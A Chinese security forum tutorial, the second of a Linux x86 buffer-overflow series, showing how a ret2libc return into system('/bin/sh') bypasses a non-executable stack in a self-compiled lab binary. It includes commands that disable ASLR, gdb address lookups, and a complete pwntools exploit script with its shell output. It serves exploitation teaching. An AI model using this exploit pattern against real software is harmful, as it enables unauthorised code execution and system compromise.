首页
社区
课程
招聘
[原创]《linux x86 缓冲区溢出》level2: Bypass DEP 通过ret2libc绕过DEP防护
2023-12-30 11:12 5010

[原创]《linux x86 缓冲区溢出》level2: Bypass DEP 通过ret2libc绕过DEP防护

2023-12-30 11:12
5010

《linux x86 缓冲区溢出》level2: Bypass DEP 通过ret2libc绕过DEP防护

0x00 参考

这里继续参考郑敏老师的文章: 《一步一步学ROP之linux_x86篇》

0x01 准备工作

前面level1关闭了所有的保护机制,今天给大家带来的是通过ret2libc技术来绕过DEP(NX)保护,编译选项依然关闭栈保护(-fno-stack-protector)和地址随机化;

编译如下(移除了-z execstack选项):

gcc -m32 -fno-stack-protector -o level2 level2.c

关闭aslr地址随机化的方法和level1一致

1
2
3
sudo -s
echo 0 > /proc/sys/kernel/randomize_va_space
exit

stack 的属性前后对比

gdb使用peda插件的vmmap命令查看maps的属性。

level1各个map属性如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
gdb-peda$ vmmap
Start      End        Perm  Name
0x56555000 0x56556000 r--p  /home/dbg/Desktop/rop/level1/level1
0x56556000 0x56557000 r-xp  /home/dbg/Desktop/rop/level1/level1
0x56557000 0x56558000 r--p  /home/dbg/Desktop/rop/level1/level1
0x56558000 0x56559000 r--p  /home/dbg/Desktop/rop/level1/level1
0x56559000 0x5655a000 rw-p  /home/dbg/Desktop/rop/level1/level1
0xf7c00000 0xf7c20000 r--p  /usr/lib/i386-linux-gnu/libc.so.6
0xf7c20000 0xf7da2000 r-xp  /usr/lib/i386-linux-gnu/libc.so.6
0xf7da2000 0xf7e27000 r--p  /usr/lib/i386-linux-gnu/libc.so.6
0xf7e27000 0xf7e28000 ---p  /usr/lib/i386-linux-gnu/libc.so.6
0xf7e28000 0xf7e2a000 r--p  /usr/lib/i386-linux-gnu/libc.so.6
0xf7e2a000 0xf7e2b000 rw-p  /usr/lib/i386-linux-gnu/libc.so.6
0xf7e2b000 0xf7e35000 rw-p  mapped
0xf7fbe000 0xf7fc0000 rw-p  mapped
0xf7fc0000 0xf7fc4000 r--p  [vvar]
0xf7fc4000 0xf7fc6000 r-xp  [vdso]
0xf7fc6000 0xf7fc7000 r--p  /usr/lib/i386-linux-gnu/ld-linux.so.2
0xf7fc7000 0xf7fec000 r-xp  /usr/lib/i386-linux-gnu/ld-linux.so.2
0xf7fec000 0xf7ffb000 r--p  /usr/lib/i386-linux-gnu/ld-linux.so.2
0xf7ffb000 0xf7ffd000 r--p  /usr/lib/i386-linux-gnu/ld-linux.so.2
0xf7ffd000 0xf7ffe000 rw-p  /usr/lib/i386-linux-gnu/ld-linux.so.2
0xfffdd000 0xffffe000 rwxp  [stack]

level2各个map属性如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
gdb-peda$ vmmap
Start      End        Perm  Name
0x56555000 0x56556000 r--p  /home/dbg/Desktop/rop/level2/level2
0x56556000 0x56557000 r-xp  /home/dbg/Desktop/rop/level2/level2
0x56557000 0x56558000 r--p  /home/dbg/Desktop/rop/level2/level2
0x56558000 0x56559000 r--p  /home/dbg/Desktop/rop/level2/level2
0x56559000 0x5655a000 rw-p  /home/dbg/Desktop/rop/level2/level2
0xf7c00000 0xf7c20000 r--p  /usr/lib/i386-linux-gnu/libc.so.6
0xf7c20000 0xf7da2000 r-xp  /usr/lib/i386-linux-gnu/libc.so.6
0xf7da2000 0xf7e27000 r--p  /usr/lib/i386-linux-gnu/libc.so.6
0xf7e27000 0xf7e28000 ---p  /usr/lib/i386-linux-gnu/libc.so.6
0xf7e28000 0xf7e2a000 r--p  /usr/lib/i386-linux-gnu/libc.so.6
0xf7e2a000 0xf7e2b000 rw-p  /usr/lib/i386-linux-gnu/libc.so.6
0xf7e2b000 0xf7e35000 rw-p  mapped
0xf7fbe000 0xf7fc0000 rw-p  mapped
0xf7fc0000 0xf7fc4000 r--p  [vvar]
0xf7fc4000 0xf7fc6000 r-xp  [vdso]
0xf7fc6000 0xf7fc7000 r--p  /usr/lib/i386-linux-gnu/ld-linux.so.2
0xf7fc7000 0xf7fec000 r-xp  /usr/lib/i386-linux-gnu/ld-linux.so.2
0xf7fec000 0xf7ffb000 r--p  /usr/lib/i386-linux-gnu/ld-linux.so.2
0xf7ffb000 0xf7ffd000 r--p  /usr/lib/i386-linux-gnu/ld-linux.so.2
0xf7ffd000 0xf7ffe000 rw-p  /usr/lib/i386-linux-gnu/ld-linux.so.2
0xfffdd000 0xffffe000 rw-p  [stack]

可以看到level2的栈是没有可执行属性的。如果将shellcode部署在buf(栈内存)上,当函数返回时去栈内执行shellcode是会出错的。

0x02 如何绕过DEP

既然栈没了可执行的属性,再在栈上部署shellcode的方式已经不可行了,但是经过前人的研究发现了ret2libc这种技术。

ret2libc从词面意思可以看出通过控制ret(返回地址)去libc执行代码,因为libc作为一个库是有可执行属性的。在libc中执行代码是可行的。

并且libc中有我们想要的system函数和"/bin/sh"字符串。

我们要组装system("/bin/sh")的栈布局。

在函数system被执行时,我们要在栈上部署好字符串"/bin/sh"的地址。

部分栈内存布局如下

|system_addr(4字节) |nop(4字节)|"/bin/sh"字符串地址(4字节)|

这样当system执行时它会去栈上找到命令行。

0x03 实验

确定system地址

通过命令行 print system 或者 p system 可以打印出system函数的地址

1
2
gdb-peda$ p system
$2 = {int (const char *)} 0xf7c48170 <__libc_system>

system = 0xf7c48170

查找 "/bin/sh" 字符串

以下是libc的map情况

1
2
3
4
5
6
0xf7c00000 0xf7c20000 r--p  /usr/lib/i386-linux-gnu/libc.so.6
0xf7c20000 0xf7da2000 r-xp  /usr/lib/i386-linux-gnu/libc.so.6
0xf7da2000 0xf7e27000 r--p  /usr/lib/i386-linux-gnu/libc.so.6
0xf7e27000 0xf7e28000 ---p  /usr/lib/i386-linux-gnu/libc.so.6
0xf7e28000 0xf7e2a000 r--p  /usr/lib/i386-linux-gnu/libc.so.6
0xf7e2a000 0xf7e2b000 rw-p  /usr/lib/i386-linux-gnu/libc.so.6

libc起始地址 0xf7c00000 ,结束地址 0xf7e2b000

通过peda 命令 find "/bin/sh" 0xf7c00000 0xf7e2b000

1
2
3
4
gdb-peda$ find "/bin/sh" 0xf7c00000 0xf7e2b000
Searching for '/bin/sh' in range: 0xf7c00000 - 0xf7e2b000
Found 1 results, display max 1 items:
libc.so.6 : 0xf7dbd0f5 ("/bin/sh")

binsh = 0xf7dbd0f5

组装 payload

如何确认ret的offset,请参考上一篇文章。

|140 * 'A'|system_addr(4字节) |nop(4字节)|"/bin/sh"字符串地址(4字节)|

1
2
3
system = 0xf7c48170
binsh = 0xf7dbd0f5
payload = 'A' * 140 + system + 'n'* 4 +  binsh

编写poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!python
#!/usr/bin/env python
from pwn import *
 
p = process('./level2')
#p = remote('127.0.0.1',10001)
 
system = 0xf7c48170
 
binsh = 0xf7dbd0f5
 
 
# p32(ret) == struct.pack("<I",ret)
payload = 'A' * 140 + p32(system) + 'n' * 4 + p32(binsh)
#payload = 'A' * 150
 
p.send(payload)
 
p.interactive()

实验结果

bingo

1
2
3
4
5
6
7
8
9
10
┌── dbg @ dbg-pro in ~/Desktop/rop/level2 [9:41:40]
└─# python2 level2-pwn.py
[+] Starting local process './level2': pid 27275
[*] Switching to interactive mode
0xffb14610
$ id
uid=1000(dbg) gid=1000(dbg) groups=1000(dbg),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),135(lxd),136(sambashare)
$ whoami
dbg

!END


[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

上传的附件:
收藏
点赞2
打赏
分享
最新回复 (1)
雪    币: 19349
活跃值: (28971)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
秋狝 2023-12-30 22:39
2
1
感谢分享
游客
登录 | 注册 方可回帖
返回